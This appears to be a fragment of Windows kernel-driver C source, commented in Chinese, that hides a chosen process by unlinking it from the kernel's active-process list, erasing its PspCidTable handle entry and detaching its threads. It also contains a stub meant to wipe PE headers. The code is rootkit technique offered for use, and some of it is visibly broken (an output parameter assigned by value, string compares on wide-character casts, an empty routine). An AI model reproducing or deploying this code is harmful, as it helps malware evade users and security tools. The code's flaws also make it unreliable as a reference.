ULONG    g_Offset_Eprocess_ProcessId = 0;
ULONG    g_Offset_Eprocess_HandleTable = 0;
__ExEnumHandleTable ExEnumHandleTable ;

PEPROCESS  g_pEprocess_System = 0;
ULONG trytimes=0;
ULONG error=0;

/************************************************************************/
/* 申明一些函数                                                                     */
/************************************************************************/

BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter
);

NTSTATUS
EraseObjectFromHandleTable(
                           PHANDLE_TABLE pHandleTable,
                           IN ULONG ProcessId
);

VOID RemoveNodeFromActiveProcessLinks(
  IN ULONG ProcessId
  );

VOID
HideProcessById(
  IN ULONG ProcessId
);

NTSTATUS
LookupProcessByName(
                    OUT PEPROCESS pEprocess
                    );

NTSTATUS
InitializeCommonVariables(
    );

NTSTATUS GetProcessNameOffset(
                     OUT PULONG Offset OPTIONAL
);

BOOLEAN IsValidModule(ULONG i);

void Search();

ULONG GetAddrFromProcessId();

VOID ClearMZMask();

#endif

Source files

      VOID BreakThreadByProcess(ULONG Pid)
{
/*++

Routine Description:

    将所有线程ETHREAD结构的ThreadsProcess抹掉

Return Value:
VOID

--*/
    PEPROCESS eProcess;
    PETHREAD eThread;
    PLIST_ENTRY pList;

    PsLookupProcessByProcessId(Pid,&eProcess);
    pList = eProcess->Pcb.ThreadListHead.Blink;
    while (pList != eProcess->Pcb.ThreadListHead.Flink)
    {
        eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry));
        eThread->ThreadsProcess = 0;
        pList = pList->Blink;
    }

}

VOID ClearMZMask()
{
/*++

Routine Description:

    擦除PE文件MZ,PE标志

Return Value:
VOID

--*/
    PVOID addr;
    ULONG pid;
    PEPROCESS eProcess;
    KAPC_STATE apcstatus;

    pid = ProtectPid;
    PsLookupProcessByProcessId(pid,&eProcess);

    KeStackAttachProcess(eProcess,&apcstatus);

    KeUnstackDetachProcess(&apcstatus);
}

ULONG GetAddrFromProcessId()
{
/*++

Routine Description:

    搜索PsLookupProcessByProcessId函数得到PspCidTable的地址
    ppPspCidTable:返回PspCidTable表地址

Return Value:
VOID

--*/
    UNICODE_STRING pslookup;
    PUCHAR  addr;
    PUCHAR p;
    ULONG q;
    RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId");
    addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup);

    for(p=addr;p<addr+PAGE_SIZE;p++)
    {
        if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8))
        {
            q=*(PULONG)(p+2);
            return q;
            break;
        }
    }
    return 0;
}

BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
)
{
    if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle)
    {
        *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ;
        return TRUE ;
    }
    return FALSE ;
}

// 修改一下，可以传递要擦除的ID做参数
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN ULONG ProcessId
)
{
/*++

Routine Description:
  擦出PspCidTable结构中的句柄
  pHandleTable:指向句柄表指针
  ProcessId:进程的PID
 Return Value:
VOID

--*/

    NTSTATUS status ;

    PVOID EnumParameter ;
    UNICODE_STRING uniExEnumHandleTable ;

    __ExEnumHandleTable ExEnumHandleTable ;

    status=STATUS_NOT_FOUND ;
    EnumParameter=ProcessId ;

    RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable");
    ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable);

    if(NULL==ExEnumHandleTable)
    {
        return STATUS_NOT_FOUND ;
    }

    // Enum后可以擦除，Callback过程中不能擦除
    if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL))
    {
        InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL);
        status=STATUS_SUCCESS ;
    }

    return status ;
}

VOID RemoveNodeFromActiveProcessLinks(
  IN ULONG ProcessId
  )
{
/*++

Routine Description:
  移除进程EPROCESS结构中的ActiveProces中自己的链表
  ProcessId:进程的PID
 Return Value:
VOID

--*/
    NTSTATUS status;

    LIST_ENTRY  *pListEntry;
    PEPROCESS  pEprocess;
    status = PsLookupProcessByProcessId(ProcessId,&pEprocess);
    if (!NT_SUCCESS(status))
    {
        DbgPrint("PsLookupProcessByProcessId Error!\n");
        return ;
    }
//  ObDereferenceObject(pEprocess);

    pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88);

    pListEntry->Flink->Blink = pListEntry->Blink;
    pListEntry->Blink->Flink = pListEntry->Flink;

}

VOID
HideProcessById(
                IN ULONG ProcessId
                )
{
    NTSTATUS status ;
    HANDLE_TABLE *pPspCidTable ;
    PEPROCESS pCsrssEprocess=NULL ;

        status=InitializeCommonVariables();

    pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId();

    status=LookupProcessByName(pCsrssEprocess);

    // 先从活动进程链表中摘除
   RemoveNodeFromActiveProcessLinks(ProcessId);

    // 擦除PspCidTable中对应的Object
    EraseObjectFromHandleTable(pPspCidTable,ProcessId);

    // 擦除Csrss进程中那份表,无数次蓝屏，所以坚决放弃
//    EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId);

    return ;
}

NTSTATUS
LookupProcessByName(
                    OUT PEPROCESS pEprocess
                    )
{
    PEPROCESS esProcess;
    LIST_ENTRY *listen;
    esProcess = PsGetCurrentProcess();

    while (1)
    {
        listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink;
        esProcess= (EPROCESS *)((ULONG)listen - 0x88);
        DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
        if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe")))
        {
            DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
            pEprocess = esProcess;
            DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess);
            return STATUS_SUCCESS;
            break;
        }
        listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88));
    }

}

NTSTATUS
GetProcessNameOffset(
                     OUT PULONG Offset OPTIONAL
                     )
{
    NTSTATUS status ;
    PEPROCESS curproc ;
    ULONG i ;

    if(!MmIsAddressValid((PVOID)Offset))
    {
        status=STATUS_INVALID_PARAMETER ;
        return status ;
    }

    curproc=PsGetCurrentProcess();

    //
    // 然后搜索KPEB，得到ProcessName相对KPEB的偏移量
    // 偏移174h的位置，这里存的是进程的短文件名，少数地方用，
    // 比如SoftIce的addr和proc命令，如果名称超过16个字符直接截断

    // Scan for 12KB, hopping the KPEB never grows that big!
    //
    for(i=0;i<3*PAGE_SIZE;i++)
    {

        if(!strncmp("System",(PCHAR)curproc+i,strlen("System")))
        {
            *Offset=i ;
            status=STATUS_SUCCESS ;
            break ;
        }
    }
    return status ;
}

NTSTATUS
InitializeCommonVariables(
)
{
    NTSTATUS status ;
    ULONG uMajorVersion ;
    ULONG uMinorVersion ;

    status=GetProcessNameOffset(&g_Offset_Eprocess_Name);

    if(!NT_SUCCESS(status))
    {
        return status ;
    }

    g_pEprocess_System=PsGetCurrentProcess();

    PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL);

    if(uMajorVersion==4&&uMinorVersion==0)
    {
        g_Offset_Eprocess_Flink=152 ;
        // Stop supporting NT 4.0
        return STATUS_UNSUCCESSFUL ;
    }
    else if(uMajorVersion==5&&uMinorVersion==0)
    {
        g_Offset_Eprocess_ProcessId=156 ;
        g_Offset_Eprocess_Flink=160 ;
        g_Offset_Eprocess_HandleTable=0x128 ;
    }
    else if(uMajorVersion==5&&uMinorVersion==1)
    {
        g_Offset_Eprocess_ProcessId=132 ;
        g_Offset_Eprocess_Flink=136 ;
        g_Offset_Eprocess_HandleTable=0xC4 ;
    }
    else if(uMajorVersion==5&&uMinorVersion==2)
    {
        g_Offset_Eprocess_ProcessId=132 ;
        g_Offset_Eprocess_Flink=136 ;
        g_Offset_Eprocess_HandleTable=0xC4 ;
    }

    return STATUS_SUCCESS ;
}

/*++

Routine Description:
  得到各个变量的偏移
 Return Value:
VOID

--*/